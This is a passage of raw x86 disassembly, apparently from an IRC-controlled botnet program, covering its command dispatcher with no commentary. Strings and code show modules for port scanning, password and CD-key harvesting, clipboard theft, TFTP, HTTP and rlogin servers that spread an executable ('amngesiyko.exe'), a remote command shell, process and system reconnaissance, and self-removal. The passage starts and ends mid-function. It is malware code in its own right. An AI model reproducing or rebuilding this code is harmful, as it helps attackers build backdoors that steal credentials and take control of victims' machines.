lea eax, [ebp+var_3B4]
push edi
push eax
call sub_418EF0
add esp, 0Ch
jmp short loc_4115DE
; ---------------------------------------------------------------------------
loc_4115D8: ; CODE XREF: sub_40C50A+50B5j
mov [ebp+var_3B4], bl
loc_4115DE: ; CODE XREF: sub_40C50A+50CCj
cmp [ebp+var_304], ebx
mov eax, offset aRandom_1 ; "Random"
jnz short loc_4115F0
mov eax, offset aSequential_0 ; "Sequential"
loc_4115F0: ; CODE XREF: sub_40C50A+50DFj
push [ebp+var_318]
lea ecx, [ebp+var_444]
push [ebp+var_328]
push [ebp+var_32C]
push [ebp+var_330]
push ecx
push eax
lea eax, [ebp+var_2DC]
push offset aScanSPortSca_0 ; "[SCAN]: %s Port Scan started on %s:%d w"...
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 8
push eax
call sub_4161EB
add esp, 2Ch
mov [ebp+var_324], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_444]
push ebx
push eax
push offset sub_40328A
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_324]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_41167A
loc_411668: ; CODE XREF: sub_40C50A+516Ej
cmp [ebp+var_300], ebx
jnz short loc_411695
push 32h
call ds:dword_4942D8
jmp short loc_411668
; ---------------------------------------------------------------------------
loc_41167A: ; CODE XREF: sub_40C50A+515Cj
call ds:dword_4942F0
push eax
lea eax, [ebp+var_2DC]
push offset aScanFailedTo_4 ; "[SCAN]: Failed to start scan thread, er"...
push eax
call sub_418D70
add esp, 0Ch
loc_411695: ; CODE XREF: sub_40C50A+5164j
cmp [ebp+var_8], ebx
jnz short loc_4116B4
push ebx
lea eax, [ebp+var_2DC]
push esi
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
add esp, 14h
loc_4116B4: ; CODE XREF: sub_40C50A+518Ej
lea eax, [ebp+var_2DC]
push eax
call sub_4035E1
pop ecx
loc_4116C1: ; CODE XREF: sub_40C50A+4F50j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_411410
jmp loc_40C97C
; ---------------------------------------------------------------------------
loc_4116D5: ; CODE XREF: sub_40C50A+4FC8j
push offset aScanFailedTo_5 ; "[SCAN]: Failed to start scan, port is i"...
jmp loc_411C97
; ---------------------------------------------------------------------------
loc_4116DF: ; CODE XREF: sub_40C50A+17E2j
; sub_40C50A+17F7j
push [ebp+var_8C]
lea eax, [ebp+var_A4]
push 80h
push eax
call sub_418EF0
mov eax, [ebp+arg_4]
push offset aFindpassSearch ; "[FINDPASS]: Searching for password."
mov [ebp+var_A8], eax
mov eax, [ebp+var_4]
mov [ebp+var_20], eax
mov eax, [ebp+var_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_418EF0
push ebx
lea eax, [ebp+var_2DC]
push 1Dh
push eax
call sub_4161EB
add esp, 24h
mov [ebp+var_24], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A8]
push ebx
push eax
push offset sub_405C86
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_24]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_411775
loc_411762: ; CODE XREF: sub_40C50A+5269j
cmp [ebp+var_18], ebx
jnz loc_40EFB5
push 32h
call ds:dword_4942D8
jmp short loc_411762
; ---------------------------------------------------------------------------
loc_411775: ; CODE XREF: sub_40C50A+5256j
call ds:dword_4942F0
push eax
push offset aFindpassFail_0 ; "[FINDPASS]: Failed to start search thre"...
jmp loc_4124D0
; ---------------------------------------------------------------------------
loc_411786: ; CODE XREF: sub_40C50A+1752j
; sub_40C50A+1767j
push 4
call sub_416433
test eax, eax
pop ecx
jle short loc_41179C
push offset aTftpAlreadyRun ; "[TFTP]: Already running."
jmp loc_40E361
; ---------------------------------------------------------------------------
loc_41179C: ; CODE XREF: sub_40C50A+5286j
mov eax, [ebp+esi+var_90]
cmp eax, ebx
jz short loc_4117BF
push eax
mov edi, 104h
lea eax, [ebp+var_7FC]
push edi
push eax
call sub_418EF0
add esp, 0Ch
jmp short loc_4117D3
; ---------------------------------------------------------------------------
loc_4117BF: ; CODE XREF: sub_40C50A+529Bj
mov edi, 104h
lea eax, [ebp+var_7FC]
push edi
push eax
push ebx
call ds:dword_4942F8
loc_4117D3: ; CODE XREF: sub_40C50A+52B3j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jnz short loc_4117E3
mov esi, offset aAmngesiyko_exe ; "amngesiyko.exe"
loc_4117E3: ; CODE XREF: sub_40C50A+52D2j
push esi
lea eax, [ebp+var_6F8]
push edi
push eax
call sub_418EF0
mov eax, dword_43E1A0
push 7Fh
push [ebp+var_8C]
mov [ebp+var_5EC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_5F0], ebx
mov [ebp+var_800], eax
lea eax, [ebp+var_5E8]
push eax
call sub_4191A0
mov eax, [ebp+var_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_6F8]
push eax
lea eax, [ebp+var_7FC]
push eax
lea eax, [ebp+var_2DC]
push [ebp+var_5EC]
push offset aTftpServerSt_0 ; "[TFTP]: Server started on Port: %d, Fil"...
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 4
push eax
call sub_4161EB
add esp, 38h
mov [ebp+var_5F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_800]
push ebx
push eax
push offset sub_415CF4
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_5F4]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_4118B3
loc_41189D: ; CODE XREF: sub_40C50A+53A7j
cmp [ebp+var_560], ebx
jnz loc_4125A2
push 32h
call ds:dword_4942D8
jmp short loc_41189D
; ---------------------------------------------------------------------------
loc_4118B3: ; CODE XREF: sub_40C50A+5391j
call ds:dword_4942F0
push eax
push offset aTftpFailedTo_0 ; "[TFTP]: Failed to start server thread, "...
jmp loc_412593
; ---------------------------------------------------------------------------
loc_4118C4: ; CODE XREF: sub_40C50A+1728j
; sub_40C50A+173Dj
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_4118E3
push edi
call sub_4195F0
test eax, eax
pop ecx
jz short loc_4118E3
push edi
call sub_4195F0
pop ecx
jmp short loc_4118E8
; ---------------------------------------------------------------------------
loc_4118E3: ; CODE XREF: sub_40C50A+53C3j
; sub_40C50A+53CEj
mov eax, dword_43E1A4
loc_4118E8: ; CODE XREF: sub_40C50A+53D7j
mov esi, [ebp+esi+var_8C]
mov [ebp+var_57C], eax
xor eax, eax
cmp [ebp+var_9C4], bl
setz al
cmp esi, ebx
mov [ebp+var_568], eax
jz short loc_41191B
lea eax, [ebp+var_680]
push esi
push eax
call sub_418D70
pop ecx
pop ecx
jmp short loc_411946
; ---------------------------------------------------------------------------
loc_41191B: ; CODE XREF: sub_40C50A+53FEj
lea eax, [ebp+var_3FC]
push 104h
push eax
call ds:dword_494320
push ebx
push ebx
lea eax, [ebp+var_2E8]
push ebx
push eax
lea eax, [ebp+var_3FC]
push eax
call sub_41B4D0
add esp, 14h
loc_411946: ; CODE XREF: sub_40C50A+540Fj
lea eax, [ebp+var_680]
push eax
call sub_418E70
cmp [ebp+eax+var_681], 5Ch
pop ecx
jnz short loc_411971
lea eax, [ebp+var_680]
push eax
call sub_418E70
pop ecx
mov [ebp+eax+var_681], bl
loc_411971: ; CODE XREF: sub_40C50A+5451j
push [ebp+var_8C]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_908]
mov [ebp+var_90C], esi
push 80h
push eax
call sub_418EF0
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_56C], eax
lea eax, [ebp+var_680]
mov [ebp+var_570], edi
push eax
push [ebp+var_57C]
push esi
call sub_40AFEC
pop ecx
push eax
lea eax, [ebp+var_2DC]
push offset aHttpdServerL_0 ; "[HTTPD]: Server listening on IP: %s:%d,"...
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 3
push eax
call sub_4161EB
add esp, 20h
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_90C]
push ebx
push eax
push offset sub_406D34
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_411A29
loc_411A13: ; CODE XREF: sub_40C50A+551Dj
cmp [ebp+var_560], ebx
jnz loc_411B78
push 32h
call ds:dword_4942D8
jmp short loc_411A13
; ---------------------------------------------------------------------------
loc_411A29: ; CODE XREF: sub_40C50A+5507j
call ds:dword_4942F0
push eax
push offset aHttpdFailedT_1 ; "[HTTPD]: Failed to start server thread,"...
jmp loc_411B69
; ---------------------------------------------------------------------------
loc_411A3A: ; CODE XREF: sub_40C50A+16FEj
; sub_40C50A+1713j
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_411A59
push edi
call sub_4195F0
test eax, eax
pop ecx
jz short loc_411A59
push edi
call sub_4195F0
pop ecx
jmp short loc_411A5E
; ---------------------------------------------------------------------------
loc_411A59: ; CODE XREF: sub_40C50A+5539j
; sub_40C50A+5544j
mov eax, dword_43E1A8
loc_411A5E: ; CODE XREF: sub_40C50A+554Dj
mov [ebp+var_578], eax
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
jnz short loc_411A75
lea eax, [ebp+var_D4]
loc_411A75: ; CODE XREF: sub_40C50A+5563j
push eax
lea eax, [ebp+var_6B8]
push 40h
push eax
call sub_418EF0
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jnz short loc_411A97
mov esi, offset dword_491D7C
loc_411A97: ; CODE XREF: sub_40C50A+5586j
push esi
lea eax, [ebp+var_678]
push 100h
push eax
call sub_418EF0
push [ebp+var_8C]
lea eax, [ebp+var_738]
push 80h
push eax
call sub_418EF0
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 18h
mov [ebp+var_564], eax
lea eax, [ebp+var_6B8]
push eax
mov [ebp+var_73C], esi
push [ebp+var_578]
mov [ebp+var_568], edi
push esi
call sub_40AFEC
pop ecx
push eax
lea eax, [ebp+var_2DC]
push offset aRlogindServerL ; "[RLOGIND]: Server listening on IP: %s:%"...
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 6
push eax
call sub_4161EB
add esp, 20h
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_73C]
push ebx
push eax
push offset sub_4132AA
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_411B5D
loc_411B4B: ; CODE XREF: sub_40C50A+5651j
cmp [ebp+var_560], ebx
jnz short loc_411B78
push 32h
call ds:dword_4942D8
jmp short loc_411B4B
; ---------------------------------------------------------------------------
loc_411B5D: ; CODE XREF: sub_40C50A+563Fj
call ds:dword_4942F0
push eax
push offset aRlogindFailedT ; "[RLOGIND]: Failed to start server threa"...
loc_411B69: ; CODE XREF: sub_40C50A+3632j
; sub_40C50A+372Cj ...
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
add esp, 0Ch
loc_411B78: ; CODE XREF: sub_40C50A+3616j
; sub_40C50A+3710j ...
cmp [ebp+var_8], ebx
jnz loc_40EFB5
push ebx
push edi
loc_411B83: ; CODE XREF: sub_40C50A+2ED6j
lea eax, [ebp+var_2DC]
push eax
push [ebp+var_8C]
push esi
jmp loc_40EFAD
; ---------------------------------------------------------------------------
loc_411B96: ; CODE XREF: sub_40C50A+16D4j
; sub_40C50A+16E9j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_411BA9
push esi
call sub_4195F0
jmp short loc_411BB0
; ---------------------------------------------------------------------------
loc_411BA9: ; CODE XREF: sub_40C50A+5695j
push 8
call sub_416452
loc_411BB0: ; CODE XREF: sub_40C50A+569Dj
cmp eax, ebx
pop ecx
jz loc_41263B
push eax
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40291D
loc_411BCB: ; CODE XREF: sub_40C50A+5B5Bj
add esp, 10h
jmp loc_41263B
; ---------------------------------------------------------------------------
loc_411BD3: ; CODE XREF: sub_40C50A+16AAj
; sub_40C50A+16BFj
mov eax, dword_44B5E8
cmp eax, ebx
jz short loc_411BF0
call eax ; DnsFlushResolverCache
test eax, eax
jz short loc_411BE9
push offset aFlushdnsDnsCac ; "[FLUSHDNS]: DNS cache flushed."
jmp short loc_411C05
; ---------------------------------------------------------------------------
loc_411BE9: ; CODE XREF: sub_40C50A+56D6j
push offset aFlushdnsFailed ; "[FLUSHDNS]: Failed to flush DNS cache."
jmp short loc_411C05
; ---------------------------------------------------------------------------
loc_411BF0: ; CODE XREF: sub_40C50A+56D0j
push offset aFlushdnsFail_0 ; "[FLUSHDNS]: Failed to load dnsapi.dll."
jmp short loc_411C05
; ---------------------------------------------------------------------------
loc_411BF7: ; CODE XREF: sub_40C50A+1680j
; sub_40C50A+1695j
call sub_40AF08
test eax, eax
jz short loc_411C1B
push offset aFlushdnsArpC_0 ; "[FLUSHDNS]: ARP cache flushed."
loc_411C05: ; CODE XREF: sub_40C50A+56DDj
; sub_40C50A+56E4j ...
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_418EF0
jmp loc_4124FA
; ---------------------------------------------------------------------------
loc_411C1B: ; CODE XREF: sub_40C50A+56F4j
push offset aFlushdnsFail_1 ; "[FLUSHDNS]: Failed to flush ARP cache."
jmp short loc_411C05
; ---------------------------------------------------------------------------
loc_411C22: ; CODE XREF: sub_40C50A+1656j
; sub_40C50A+166Bj
cmp [ebp+var_8], ebx
jnz short loc_411C41
push ebx
push [ebp+var_4]
push offset aClipboardData ; "-[Clipboard Data]-"
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
add esp, 14h
loc_411C41: ; CODE XREF: sub_40C50A+571Bj
push ebx
push [ebp+var_4]
call sub_409B2A
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
push offset aMainGetClipboa ; "[MAIN]: Get Clipboard."
jmp loc_411F34
; ---------------------------------------------------------------------------
loc_411C63: ; CODE XREF: sub_40C50A+1576j
; sub_40C50A+158Bj
push 7
call sub_416433
test eax, eax
pop ecx
jle short loc_411C76
push offset aCmdRemoteShell ; "[CMD]: Remote shell already running."
jmp short loc_411C97
; ---------------------------------------------------------------------------
loc_411C76: ; CODE XREF: sub_40C50A+5763j
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412E64
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_411C92
push offset aCmdCouldnTOpen ; "[CMD]: Couldn't open remote shell."
jmp short loc_411C97
; ---------------------------------------------------------------------------
loc_411C92: ; CODE XREF: sub_40C50A+577Fj
push offset aCmdRemoteShe_0 ; "[CMD]: Remote shell ready."
loc_411C97: ; CODE XREF: sub_40C50A+2C73j
; sub_40C50A+2DA3j ...
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
pop ecx
pop ecx
jmp loc_40EF94
; ---------------------------------------------------------------------------
loc_411CAA: ; CODE XREF: sub_40C50A+154Cj
; sub_40C50A+1561j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_409517
jmp loc_411F52
; ---------------------------------------------------------------------------
loc_411CC3: ; CODE XREF: sub_40C50A+1522j
; sub_40C50A+1537j
push [ebp+esi+var_90]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_4058B3
jmp loc_411F52
; ---------------------------------------------------------------------------
loc_411CE0: ; CODE XREF: sub_40C50A+14F8j
; sub_40C50A+150Dj
or edi, 0FFFFFFFFh
call ds:dword_494308
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_411D09
push esi
call sub_4195F0
pop ecx
mov edi, eax
loc_411D09: ; CODE XREF: sub_40C50A+57F4j
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_411D22
cmp edi, 0FFFFFFFFh
jnz loc_41263B
loc_411D22: ; CODE XREF: sub_40C50A+580Dj
push ebx
call sub_415273
push eax
lea eax, [ebp+var_2DC]
push offset aMainUptimeS_ ; "[MAIN]: Uptime: %s."
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
lea eax, [ebp+var_2DC]
push eax
call sub_4035E1
jmp loc_40F971
; ---------------------------------------------------------------------------
loc_411D64: ; CODE XREF: sub_40C50A+14CEj
; sub_40C50A+14E3j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_403FBB
lea eax, [ebp+var_2DC]
push offset aCdkeysSearchCo ; "[CDKEYS]: Search completed."
push eax
call sub_418D70
add esp, 14h
jmp loc_4125A2
; ---------------------------------------------------------------------------
loc_411D8E: ; CODE XREF: sub_40C50A+14A4j
; sub_40C50A+14B9j
push 1Eh
call sub_416433
test eax, eax
pop ecx
jle short loc_411DC2
cmp [ebp+var_8], ebx
jnz loc_40C97C
push ebx
push [ebp+var_4]
push offset aProcAlreadyRun ; "[PROC]: Already running."
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
add esp, 14h
jmp loc_40C97C
; ---------------------------------------------------------------------------
loc_411DC2: ; CODE XREF: sub_40C50A+588Ej
push [ebp+var_8C]
lea eax, [ebp+var_4F0]
push 80h
push eax
call sub_418EF0
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_4F4], eax
mov eax, [ebp+var_4]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_464], eax
mov [ebp+var_46C], ebx
jz short loc_411E23
push esi
push offset aFull ; "full"
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_411E23
mov [ebp+var_46C], 1
loc_411E23: ; CODE XREF: sub_40C50A+58FCj
; sub_40C50A+590Dj
lea eax, [ebp+var_2DC]
push offset aProcsProccessL ; "[PROCS]: Proccess list."
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 1Eh
push eax
call sub_4161EB
add esp, 14h
mov [ebp+var_470], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F4]
push ebx
push eax
push offset sub_40B735
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_470]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_411E91
loc_411E7B: ; CODE XREF: sub_40C50A+5985j
cmp [ebp+var_460], ebx
jnz loc_40EFB5
push 32h
call ds:dword_4942D8
jmp short loc_411E7B
; ---------------------------------------------------------------------------
loc_411E91: ; CODE XREF: sub_40C50A+596Fj
call ds:dword_4942F0
push eax
push offset aProcsFailedT_0 ; "[PROCS]: Failed to start listing thread"...
jmp loc_4124D0
; ---------------------------------------------------------------------------
loc_411EA2: ; CODE XREF: sub_40C50A+147Aj
; sub_40C50A+148Fj
cmp [ebp+var_8], ebx
jnz short loc_411EC1
push ebx
push [ebp+var_4]
push offset aMainRemovingBo ; "[MAIN]: Removing Bot."
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
add esp, 14h
loc_411EC1: ; CODE XREF: sub_40C50A+599Bj
push [ebp+arg_4]
call dword_44B758 ; closesocket
call dword_44B620 ; WSACleanup
call sub_409D2E
push ebx
call ds:dword_49432C
loc_411EDC: ; CODE XREF: sub_40C50A+1450j
; sub_40C50A+1465j
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_415430
pop ecx
pop ecx
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
push offset aMainSystemInfo ; "[MAIN]: System Info."
jmp short loc_411F34
; ---------------------------------------------------------------------------
loc_411F07: ; CODE XREF: sub_40C50A+1426j
; sub_40C50A+143Bj
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_4156E4
add esp, 0Ch
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
push offset aMainNetworkInf ; "[MAIN]: Network Info."
loc_411F34: ; CODE XREF: sub_40C50A+5754j
; sub_40C50A+59FBj
call sub_4035E1
jmp loc_41073E
; ---------------------------------------------------------------------------
loc_411F3E: ; CODE XREF: sub_40C50A+13FCj
; sub_40C50A+1411j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40371E
loc_411F52: ; CODE XREF: sub_40C50A+3BCj
; sub_40C50A+57B4j ...
add esp, 10h
jmp loc_40C97C
; ---------------------------------------------------------------------------
loc_411F5A: ; CODE XREF: sub_40C50A+13D2j
; sub_40C50A+13E7j
cmp [ebp+var_C], ebx
mov [ebp+var_388], bl
jz short loc_411F99
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_411F99
push esi
push [ebp+var_C]
call sub_419AB0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_411F99
push eax
push offset aS_36 ; "%s"
lea eax, [ebp+var_388]
push 80h
push eax
call sub_418EF0
add esp, 10h
loc_411F99: ; CODE XREF: sub_40C50A+5A59j
; sub_40C50A+5A64j ...
push [ebp+var_8C]
lea eax, [ebp+var_408]
push 80h
push eax
call sub_418EF0
mov eax, [ebp+arg_4]
push offset aLogListingLog_ ; "[LOG]: Listing log."
mov [ebp+var_40C], eax
mov eax, [ebp+var_4]
mov [ebp+var_304], eax
mov eax, [ebp+var_8]
mov [ebp+var_300], eax
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 1Ch
push eax
call sub_4161EB
add esp, 20h
mov [ebp+var_308], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_40C]
push ebx
push eax
push offset sub_403791
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_308]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_412039
loc_412023: ; CODE XREF: sub_40C50A+5B2Dj
cmp [ebp+var_2FC], ebx
jnz loc_40C97C
push 32h
call ds:dword_4942D8
jmp short loc_412023
; ---------------------------------------------------------------------------
loc_412039: ; CODE XREF: sub_40C50A+5B17j
call ds:dword_4942F0
push eax
push offset aLogFailedToSta ; "[LOG]: Failed to start listing thread, "...
jmp loc_4127C2
; ---------------------------------------------------------------------------
loc_41204A: ; CODE XREF: sub_40C50A+13A8j
; sub_40C50A+13BDj
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_403569
push offset aMainAliasList_ ; "[MAIN]: Alias list."
call sub_4035E1
jmp loc_411BCB
; ---------------------------------------------------------------------------
loc_41206A: ; CODE XREF: sub_40C50A+137Ej
; sub_40C50A+1393j
push [ebp+var_8C]
lea eax, [ebp+var_4F0]
push 80h
push eax
call sub_418EF0
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_4F4], eax
mov eax, [ebp+var_4]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_464], eax
jz short loc_4120C4
push offset aSub ; "sub"
push esi
call sub_419360
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_46C], eax
jmp short loc_4120CA
; ---------------------------------------------------------------------------
loc_4120C4: ; CODE XREF: sub_40C50A+5B9Ej
mov [ebp+var_46C], ebx
loc_4120CA: ; CODE XREF: sub_40C50A+5BB8j
lea eax, [ebp+var_2DC]
push offset aThreadsListThr ; "[THREADS]: List threads."
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 1Fh
push eax
call sub_4161EB
add esp, 14h
mov [ebp+var_470], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F4]
push ebx
push eax
push offset sub_416256
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_470]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_412134
loc_412122: ; CODE XREF: sub_40C50A+5C28j
cmp [ebp+var_460], ebx
jnz short loc_41214F
push 32h
call ds:dword_4942D8
jmp short loc_412122
; ---------------------------------------------------------------------------
loc_412134: ; CODE XREF: sub_40C50A+5C16j
call ds:dword_4942F0
push eax
push offset aThreadsFaile_0 ; "[THREADS]: Failed to start list thread,"...
loc_412140: ; CODE XREF: sub_40C50A+48BAj
; sub_40C50A+49D3j
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
add esp, 0Ch
loc_41214F: ; CODE XREF: sub_40C50A+4548j
; sub_40C50A+4560j ...
lea eax, [ebp+var_2DC]
push eax
jmp loc_40DB46
; ---------------------------------------------------------------------------
loc_41215B: ; CODE XREF: sub_40C50A+1302j
; sub_40C50A+1317j
push offset aFenr ; "FEnR"
lea eax, [ebp+var_2DC]
push offset aMainBotIdS_ ; "[MAIN]: Bot ID: %s."
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
add esp, 20h
jmp loc_40E781
; ---------------------------------------------------------------------------
loc_412192: ; CODE XREF: sub_40C50A+12D8j
; sub_40C50A+12EDj
push dword_491BE8
call sub_415273
push eax
lea eax, [ebp+var_2DC]
push offset aMainStatusRead ; "[MAIN]: Status: Ready. Bot Uptime: %s."
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
add esp, 24h
jmp loc_40E781
; ---------------------------------------------------------------------------
loc_4121D0: ; CODE XREF: sub_40C50A+12AEj
; sub_40C50A+12C3j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_412202
cmp [ebp+var_C], ebx
jz short loc_412211
push esi
push [ebp+var_C]
call sub_419AB0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_412211
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_4083E7
add esp, 0Ch
jmp short loc_412211
; ---------------------------------------------------------------------------
loc_412202: ; CODE XREF: sub_40C50A+5CCFj
push offset aQuitLater_0 ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_4083E7
pop ecx
pop ecx
loc_412211: ; CODE XREF: sub_40C50A+5CD4j
; sub_40C50A+5CE3j ...
push 0FFFFFFFEh
jmp loc_40C97E
; ---------------------------------------------------------------------------
loc_412218: ; CODE XREF: sub_40C50A+1284j
; sub_40C50A+1299j
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_4083E7
push offset aMainDisconnect ; "[MAIN]: Disconnecting."
call sub_4035E1
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_40C97F
; ---------------------------------------------------------------------------
loc_41223A: ; CODE XREF: sub_40C50A+125Aj
; sub_40C50A+126Fj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_4083E7
push offset aMainReconnecti ; "[MAIN]: Reconnecting."
call sub_4035E1
add esp, 0Ch
xor eax, eax
jmp loc_40C97F
; ---------------------------------------------------------------------------
loc_41225B: ; CODE XREF: sub_40C50A+1230j
; sub_40C50A+1245j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_402853
jmp loc_410681
; ---------------------------------------------------------------------------
loc_412271: ; CODE XREF: sub_40C50A+118Bj
; sub_40C50A+11A0j
push [ebp+esi+var_90]
push 1Eh
push offset aProcessList ; "Process list"
push offset aProc ; "[PROC]"
jmp short loc_412299
; ---------------------------------------------------------------------------
loc_412286: ; CODE XREF: sub_40C50A+1161j
; sub_40C50A+1176j
push [ebp+esi+var_90]
push 1Bh
push offset aFindFile ; "Find file"
push offset aFindfile_0 ; "[FINDFILE]"
loc_412299: ; CODE XREF: sub_40C50A+FDCj
; sub_40C50A+1005j ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_416479
add esp, 20h
jmp loc_40C97C
; ---------------------------------------------------------------------------
loc_4122B5: ; CODE XREF: sub_40C50A+F9Dj
; sub_40C50A+FB2j
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_4122D4
push edi
call sub_4195F0
test eax, eax
pop ecx
jz short loc_4122D4
push edi
call sub_4195F0
pop ecx
jmp short loc_4122D9
; ---------------------------------------------------------------------------
loc_4122D4: ; CODE XREF: sub_40C50A+5DB4j
; sub_40C50A+5DBFj
mov eax, dword_43E19C
loc_4122D9: ; CODE XREF: sub_40C50A+5DC8j
mov esi, [ebp+esi+var_8C]
mov [ebp+var_478], eax
cmp esi, ebx
jz short loc_4122FE
push esi
loc_4122EB: ; CODE XREF: sub_40C50A+5E03j
lea eax, [ebp+var_488]
push 10h
push eax
call sub_418EF0
add esp, 0Ch
jmp short loc_412315
; ---------------------------------------------------------------------------
loc_4122FE: ; CODE XREF: sub_40C50A+5DDEj
cmp [ebp+var_9C7], bl
jz short loc_41230F
lea eax, [ebp+var_D4]
push eax
jmp short loc_4122EB
; ---------------------------------------------------------------------------
loc_41230F: ; CODE XREF: sub_40C50A+5DFAj
mov [ebp+var_488], bl
loc_412315: ; CODE XREF: sub_40C50A+5DF2j
mov eax, [ebp+var_4]
push [ebp+var_8C]
mov esi, [ebp+arg_4]
